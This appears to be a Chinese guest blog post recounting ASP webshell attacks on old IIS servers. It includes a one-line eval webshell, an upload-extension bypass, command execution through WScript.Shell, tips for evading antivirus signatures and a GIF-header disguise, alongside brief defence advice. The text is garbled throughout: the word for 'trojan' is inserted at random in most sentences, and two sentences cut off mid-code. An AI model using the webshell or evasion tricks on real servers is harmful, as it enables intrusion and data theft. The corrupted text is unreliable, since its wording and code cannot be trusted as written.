游客发表
2006年冬天,木马我在一个企业内网做渗透测试。木马目标站点跑的木马是IIS 6.0,后台登录页有个上传头像的木马功能。我用Burp抓包,木马把文件名从`avatar.jpg`改成`avatar.asp`,木马内容是木马一句话木马`<%eval request("c")%>`。提交,木马返回200。木马浏览器访问`/upload/avatar.asp?木马c=response.write("ok")`,屏幕上蹦出两个字母:ok。木马整个过程不到三分钟。木马
这就是木马ASP木马最典型的用法——利用服务器对文件扩展名校验不严,把可执行脚本伪装成图片传上去。木马IIS会把`.asp`文件交给`asp.dll`解析,木马里面的VBScript或JScript代码直接跑在服务器上。那个年代,很多CMS和论坛程序的上传模块都栽在这上面。动网、乔客、织梦早期版本,随便翻翻漏洞库,一抓一大把。
ASP木马本身不是什么复杂的东西。一句话版本就一行代码,体积小到可以塞进图片的EXIF注释里。功能完整的版本通常叫“大马”,带文件管理、命令执行、数据库连接、端口扫描。我见过一个叫“冰狐”的,界面做得跟Windows资源管理器似的,左边树形目录,右边文件列表,双击文本文件直接在线编辑。作者还在关于页面留了QQ号。
上传只是入口。真正让ASP木马泛滥的是权限配置。很多管理员图省事,给IIS匿名账户`IUSR_机器名`开了`Everyone`级别的写权限。木马上传后,攻击者可以改任意文件,包括其他站点的首页。2008年那波挂马潮,大量政府和企业网站被插入`
有个细节值得注意。ASP木马在Windows Server 2003上跑得最欢,因为默认开启父路径`..`,而且`WScript.Shell`组件没被禁用。攻击者用`Server.CreateObject("WScript.Shell")`执行`cmd /c whoami`,返回`nt authority\network service`。如果服务器打了补丁或者用了.NET的`request validation`,这条路就窄很多。但2003年那会儿,补丁管理?很多机器从装好到报废就没重启过。
杀毒软件对ASP木马的查杀一直很尴尬。它本质是文本文件,特征码改几个字母就绕过。卡巴斯基当年报`Trojan.VBS.Agent`,但把`eval`换成`execute`,把`request`换成`request.form`,立刻免杀。后来出现加密版,用`Execute(UnEncode("..."))`把代码藏在一堆乱码里。静态扫描基本废了。
我印象最深的一次应急响应。客户说网站首页被改成博彩页面,但FTP密码没丢。上去一看,`/images/`目录下有个`logo.asp`,修改时间和首页被改的时间一致。打开内容,开头是正常的GIF文件头`GIF89a`,后面跟着木马代码。IIS解析时忽略文件头,直接当ASP执行。攻击者用这个木马遍历了整台服务器,找到`web.config`里的数据库连接字符串,拖走了三万多条用户记录。
防御手段其实不复杂。上传目录不给脚本执行权限,IIS里把`.asp`的映射删掉,或者用`
ASP技术本身已经过时了。微软2002年推出.NET,IIS 7之后默认不再安装ASP。但存量系统还在跑。去年我扫了一个C段,还有十几台2003的机器开着80端口,`/asp/`目录下躺着各种年代不明的木马。它们就像数字废墟里的蟑螂,没人管,但一直活着。
友情链接